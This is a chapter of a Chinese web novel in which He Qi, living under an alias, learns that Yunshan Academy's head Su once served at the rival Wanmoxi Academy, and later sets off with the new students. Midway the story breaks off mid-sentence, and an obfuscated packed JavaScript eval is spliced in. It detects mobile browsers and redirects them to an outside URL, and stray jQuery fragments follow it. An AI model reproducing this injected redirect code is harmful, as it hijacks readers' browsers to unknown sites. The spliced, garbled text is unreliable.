“涴墨溪书院？”何七诧然，“师叔说的，可是那个大名鼎鼎的涴墨溪书院？”


    “对，正是原先唤作东山书院的那家，临江也只这一个涴墨溪书院了。”


    听得林子鹤确认，何七愈发觉着惊异：“师叔是说，苏山长是从涴墨溪书院出来的？”


    “你竟不知？”林子鹤却是有些意外地看了何七一眼，“老苏原是涴墨溪书院的堂长，在士林中颇负盛名。这些年经他指点中进士的门生不在少数。今日见的边师侄便是他得意弟子，此番府试云山书院就推了他去应试。听说府试名列前茅，是个厉害的。”


    “那，边师兄也是涴墨溪书院出身？”一时听到这些事，何七一时理不清其中关窍。她先前还琢磨着这苏山长是从别处来临江的呢，竟是她想左了。


    林子鹤颔首，道：“不错，他师徒俱是从涴墨溪书院出来的。我还以为你既打听过书院事，总该听过老苏名号。


    “实在不曾。”何七赧然，“只知涴墨溪书院门槛极高，却未深究其中师长。况且外间盛传云山书院要与涴墨溪书院争来年院试案首，若败北便自闭院门。任谁听了都当两家势同水火，怎料山长竟是涴墨溪书院旧人。”提起从旁人处听到的那桩赌约，何七就更觉匪夷所思。


    “竟还有此事？”这回却是轮到林子鹤吃惊了，“老苏竟还闹出了这种乱子？”


    “师叔也不知？何七愈发觉着蹊跷，“我也是道听途说。据说这赌约是府试后才传开的，想来那时师叔尚在山中。”


    林子鹤点点头，似乎想明白了什么，沉吟道：“难怪觉着老苏与往日不同。在邀月阁设擂已非他素日作风，原来前头还有这般计较。”


    “那师叔可知苏山长因何离开涴墨溪书院？既已贵为堂长，何苦自起炉灶？”何七深知涴墨溪书院山长，堂长乃官府牒补的要职，不知多少人眼热。在临江另立书院更非易事，若无真才实学断难立足。


    “这个……”林子鹤摸了摸下巴，半晌才道：“我先前曾探过他的口风，他似乎是与那涴墨溪书院的山长之间……生了些龃龉，便决定离开涴墨溪书院了，还带走了几个得意门生。不过其中究竟是如何，我也无从得知。今日听你一说，才知他先前才府试还闹出过这事，看来他是铁了心要和这老东家对着干了。”


    “原是如此……”何七暗自思忖，按照林师叔的说法，这苏山长从涴墨溪书院离开之后，做出这些事一反常态，多半也是为了在短时间内招揽更多的生徒吧。毕竟不闹出点什么动静来，没有名头，愿意来的人自然也少了。且像苏山长这般挑剔的，不多来些学子，恐怕还真招不满人了。看来这苏山长是心意已决，要与这涴墨溪书院打擂台了，届时授课，也定会拿出自个儿压箱底的本事来倾囊相授。自己进了这书院，说不定还真能有些意想不到的收获。


    林子鹤将茶盏轻轻一放，忽道：“你只顾着打听书院事，倒忘了正题。你如今还顶着化名，家里头究竟如何了？”


    何七忙正色回道：“劳师叔挂心。家母与姐姐们现下都在庄子上安顿，有二姐夫派人照应，应无大碍。家父与舍弟那边也打点过了，听说不日便能出来。待他们平安归来，我便可恢复本名了。”


    林子鹤微微点头道：“这般也好，你总算能安心读书了。”忽又想起什么，道：“前日被胡三刁难的那个书生，你可是旧识？”


    “正是，”何七答道，“褚兄原是郡王府学堂的同窗，虽往来不多，却曾帮衬过弟子。那日见他又被胡三欺凌，实在不忍，便出了头。也是凑巧，竟遇上师叔在此。”


    林子鹤却轻叹一声，道：“若在平日，这本是好事，多个同窗互相照应。可眼下你家遭了官司，他既认得你本来面目，万一存了别样心思，你可有应对之策？”


    提起此事，何七


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458326|162537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    垂首，道：“尚未细想。不过褚兄先前也被传去衙门问过话，想来能体谅弟子的难处。在郡王府时观他品行端正，并非好事之刃，若好生分说，应当不会向外人透露。”


    “但愿如此，”林子鹤嘱咐道，“这几日你且安心住着，若无要紧事少在外走动。待平安进了书院，再从长计议。”


    说罢起身欲行，到门边又回头添了句：“夜里门户仔细些。”这才撩袍离去。何七望着轻轻合上的门扉，心底泛起几分暖意，又带着些许怅惘。


    ……


    何七心知眼下还大意不得。何佑尚未出狱，加之又开罪了胡三那睚眦必报的，那日既放话要寻麻烦，若教他探得真实身份，必生事端。故而连日来只闭门不出，静居厢房之中。


    寄与李承之的书信不几日便得了回音。信中先贺她觅得书院，又道已将她入云山书院之事知会卢氏，嘱她宽心家中事务，自有他代为打点。何佑那头亦在杨知府处打点停当，想来不日便可出狱。


    自胡三那场风波后，邀月阁近日愈发喧嚷。何七那篇《尚友论》当日被多人瞧在眼里，风声传开，都说有个才学出众的外乡人投了云山书院，来年院试怕真要压过涴墨溪书院一头。这般传言引得四方学子纷至沓来，但见苏山长厢房外终日排着长龙，比前几日不知热闹多少。何七从门缝里窥见这般光景，暗忖这苏山长果然深谙造势之道，不禁心中感叹，这黑红也是红啊。


    不消数日，云山书院便招足了生徒，择吉日启程归山。因山路崎岖，特由苏山长亲自率领新招学子同行。这日天光未亮，褚琴枫已打点齐整行囊候在邀月阁门前。待得晨雾渐散，但见苏山长领着几位夫子步出客栈，身后跟着那个始终戴着斗笠的青衫少年，一行人整装待发。其余学子纷纷看向这位不怒自威的苏山长，唯有褚琴枫，目光却落到了那个在人群之中的身影，也不知，那斗笠下究竟是怎样的面容。